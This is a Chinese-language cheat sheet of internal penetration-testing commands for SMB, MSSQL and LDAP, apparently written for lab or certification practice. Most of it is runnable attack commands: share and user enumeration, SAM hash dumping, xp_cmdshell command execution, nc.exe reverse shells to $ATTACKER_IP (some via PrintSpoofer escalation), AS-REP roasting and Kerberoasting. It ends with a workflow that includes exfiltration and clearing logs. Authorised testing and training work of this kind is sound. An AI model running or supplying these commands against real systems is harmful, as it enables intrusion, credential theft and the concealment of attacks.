内网渗透测试技巧与利用操作手册(SMB / MSSQL / LDAP)

发布于:2025-06-14 ⋅ 阅读:(21) ⋅ 点赞:(0)

SMB 枚举与利用清单

🔍 SMB 枚举与连接

# 尝试空会话连接(Null Session)
smbclient -N -U "" -L \\<IP>
smbclient -N -U "test" -L \\<IP>
smbclient -N -U "Guest" -L \\<IP>

# 下载共享中的所有文件
nxc smb $IP -u '' -p '' -M spider_plus -o DOWNLOAD_FLAG=True

# 枚举 SMB 共享
netexec smb $IP -u '' -p '' --shares

# 枚举 SMB 用户
netexec smb $IP -u '' -p '' --users | grep -E "SMB\s+.*\s+[A-Za-z]+\.[A-Za-z]+" | awk '{print $5}' > users.txt

# RID 暴力破解以发现更多用户
netexec smb $IP -u '' -p '' --rid-brute

# 测试远程命令执行(RCE)
nxc smb $IP -u 'Administrator' -p 'P@ssw0rd' -x whoami

🔓 提权与命令执行

# 导出 SAM 中的哈希
nxc smb $IP -u 'UserName' -p 'PASSWORDHERE' --sam

# 从 secretsdump 提取用户名与哈希
grep -oP '^[^:]+:\d+:[a-f0-9]{32}:[a-f0-9]{32}' secretsdump.txt | awk -F: '{print $1}' > secretsdumpusernames.txt
grep -oP '^[^:]+:\d+:[a-f0-9]{32}:[a-f0-9]{32}' secretsdump.txt | awk -F: '{print $4}' > secretsdumphashes.txt

📂 文件传输

# 下载工具文件(例如 Snaffler)
wget https://github.com/SnaffCon/Snaffler/releases/download/1.0.184/Snaffler.exe

# 上传文件到 SMB 共享
smbclient \\\\$IP\\share -U "$USER" -P "$PASSWORD" -c "put /path/to/local/file /remote/path/remote_file.txt"

🚀 获取反向 Shell

# 通过 SMB 上传 nc 反弹工具
nxc smb $IP -u '$USER' -p '$PASSWORD' --put-file /path/to/nc.exe /tmp/nc.exe

# 使用 nc 执行反向 shell
nxc smb $IP -u '$USER' -p '$PASSWORD' -x "C:\tmp\nc.exe $ATTACKER_IP 1234 -e cmd"

MSSQL 枚举与利用清单

🔍 枚举与连接

# 尝试匿名或用户身份连接
netexec mssql $IP -u '' -p ''
netexec mssql $IP -u '$DOMAIN\$USER' -p '$PASSWORD'

# RID 暴破获取用户信息
nxc mssql $IP -u $USER -p '$PASSWORD' --rid-brute

# 枚举数据库
netexec mssql $IP -u '$DOMAIN\$USER' -p '$PASSWORD' -q "SELECT name FROM sys.databases"

🔓 提权与命令执行

# 启用 xp_cmdshell
netexec mssql $IP -u '$DOMAIN\$USER' -p '$PASSWORD' --enable-xp-cmdshell

# 通过 xp_cmdshell 执行命令
netexec mssql $IP -u '$DOMAIN\$USER' -p '$PASSWORD' -x "whoami /all"

# 检查提权路径
netexec mssql $IP -u $USER -p '$PASSWORD' -M mssql_priv

# 检查模拟权限
netexec mssql $IP -u $USER -p '$PASSWORD' -M mssql_priv -o ACTION=privesc

📂 文件传输

# 上传文件
nxc mssql $IP -u $USER -p '$PASSWORD' --put-file /tmp/local_file C:\\Windows\\Temp\\remote_file.txt

# 下载文件
nxc mssql $IP -u $USER -p '$PASSWORD' --get-file C:\\Windows\\Temp\\remote_file.txt /tmp/local_file

🚀 反向 Shell 获取

# 上传 nc 工具
nxc mssql $IP -u $USER -p '$PASSWORD' --put-file nc.exe

# 启动反向 Shell
nxc mssql $IP -u $USER -p '$PASSWORD' -x "C:\Windows\Temp\nc.exe $ATTACKER_IP 1234 -e cmd"

# 利用 impersonation + PrintSpoofer 提权执行 Shell
nxc mssql $IP -u $USER -p '$PASSWORD' -x 'C:\Windows\Temp\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $ATTACKER_IP 1234 -e cmd"'

# 使用 Base64 PowerShell 获取 Shell(适用于 AD 环境)
nxc mssql $IP -u '' -p '' -x '<PAYLOAD REVERSE SHELL BASE64 HERE>'

LDAP 枚举与利用清单

🔍 枚举与连接

# 使用账号尝试连接 LDAP
nxc ldap $IP -u '$USER' -p '$PASSWORD'

# 枚举 LDAP 用户 / 组 / GPO
nxc ldap $IP -u '$USER' -p '$PASSWORD' --users
nxc ldap $IP -u '$USER' -p '$PASSWORD' --groups
nxc ldap $IP -u '$USER' -p '$PASSWORD' --gpos

# 通用对象搜索
ldapsearch -v -x -b "DC=example,DC=com" -H "ldap://$IP" "(objectclass=*)"

# 搜索 samaccountname 信息
ldapsearch -v -x -b "DC=example,DC=com" -H "ldap://$IP" "(objectclass=*)" | grep samaccountname

🔓 Kerberos 攻击与信息收集

# AS-REP Roasting
nxc ldap $IP -u $USER -p '' --asreproast output.txt
# 使用 hashcat 破解
# hashcat -m18200 output.txt wordlist.txt

# Kerberoasting
nxc ldap $IP -u '$USER' -p '$PASSWORD' --kerberoasting output.txt
# 使用 hashcat 破解
# hashcat -m13100 output.txt wordlist.txt

# 枚举用户描述字段
nxc ldap $IP -u '$USER' -p '$PASSWORD' -M get-desc-users

# 使用 BloodHound 收集 AD 信息
nxc ldap $IP -u 'users.txt' -p 'passwords.txt' --bloodhound -c all --dns-server $DNS_SERVER

📂 文件传输(LDAP 环境)

# 上传文件
nxc ldap $IP -u '$USER' -p '$PASSWORD' --put-file /tmp/local_file /remote/path/remote_file.txt

# 下载文件(如目标允许)
nxc ldap $IP -u '$USER' -p '$PASSWORD' --get-file /remote/path/remote_file.txt /tmp/local_file

🚀 获取反向 Shell(LDAP 环境)

# 上传 nc 工具
nxc ldap $IP -u '$USER' -p '$PASSWORD' --put-file nc.exe /tmp/nc.exe

# 执行反向 Shell
nxc ldap $IP -u '$USER' -p '$PASSWORD' -x "C:\tmp\nc.exe $ATTACKER_IP 1234 -e cmd"

# 利用提权工具执行 Shell(如 impersonation 成功)
nxc ldap $IP -u '$USER' -p '$PASSWORD' -x 'C:\tmp\PrintSpoofer64.exe -c "C:\tmp\nc.exe $ATTACKER_IP 1234 -e cmd"'

# PowerShell 反向 Shell(Base64 编码)
nxc ldap $IP -u '$USER' -p '$PASSWORD' -x '<PAYLOAD REVERSE SHELL BASE64 HERE>'

🔧 其他 LDAP 利用方式

# 搜索描述字段中的敏感信息
ldapsearch -v -x -b "DC=example,DC=com" -H "ldap://$IP" "(objectclass=*)" | grep description

# 通配符搜索整个域
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=*)"

🛠️ 渗透流程建议

✅ 前期准备

  • 网络探测与端口扫描(Nmap, Masscan)
  • 识别开放服务与版本
  • 初步信息收集(Banner、SMB/LDAP 匿名访问等)

⚙️ 利用阶段

  • 尝试已识别服务的漏洞利用
  • 获取初始访问权限(低权限账号、RCE 等)

🔄 后渗透操作

  • 横向移动、权限提升
  • 凭证抓取、内网信息收集
  • 敏感数据搜集与 exfiltration

🧹 痕迹清除与文档记录

  • 删除上传文件、清空日志
  • 编写漏洞报告与复现过程

网站公告

今日签到

点亮在社区的每一天
去签到